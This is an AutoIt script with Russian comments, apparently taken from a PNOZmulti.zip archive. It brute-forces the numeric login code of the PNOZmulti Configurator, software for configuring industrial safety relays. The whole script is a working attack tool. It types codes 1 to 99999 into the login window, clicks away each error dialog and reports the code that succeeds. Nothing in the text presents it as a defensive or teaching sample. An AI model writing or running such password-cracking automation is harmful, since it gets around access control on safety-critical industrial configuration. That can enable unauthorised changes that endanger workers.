Код на базе AutoIT - PNOZmulti.zip
#RequireAdmin
; Оптимизация скорости выполнения
AutoItSetOption("SendKeyDelay", 10)
AutoItSetOption("WinWaitDelay", 100)
; Переменные
Local $i = 1
Local $sLoginWindow = "Login"
Local $sErrorWindow = "PNOZmulti Configurator"
Local $iTimeout = 5 ; таймаут ожидания окна ошибки
For $i = 1 To 99999 Step 1
; Показываем текущее значение
SplashTextOn("Current Value", "Попытка: " & $i, 150, 50, 300, 200, 33)
; Активируем окно входа
WinActivate($sLoginWindow)
WinWaitActive($sLoginWindow, "", 2)
; Отправляем текущее значение в поле ввода
ControlSend($sLoginWindow, "", "Edit1", $i)
; Кликаем OK
send ("{ENTER}")
; Ожидаем появление окна ошибки (максимум 5 секунд)
WinWait($sErrorWindow, "", $iTimeout)
; Проверяем, появилось ли окно ошибки
If WinActive($sErrorWindow) Then
; Если окно ошибки активно - кликаем OK (пароль не подошел)
ControlClick($sErrorWindow, "&OK", "Button1")
; Небольшая задержка перед следующей попыткой
Sleep(100)
Else
; Если окно ошибки не появилось - вход успешен
SplashOff() ; Убираем всплывающее окно
ExitLoop ; Выходим из цикла
EndIf
Next
; Показываем результат
If $i <= 99999 Then
MsgBox(4096, "УСПЕХ!", "Найден верный код: " & $i)
Else
MsgBox(4096, "НЕУДАЧА", "Код не найден в диапазоне 1-99999")
EndIf
; Очистка
SplashOff() |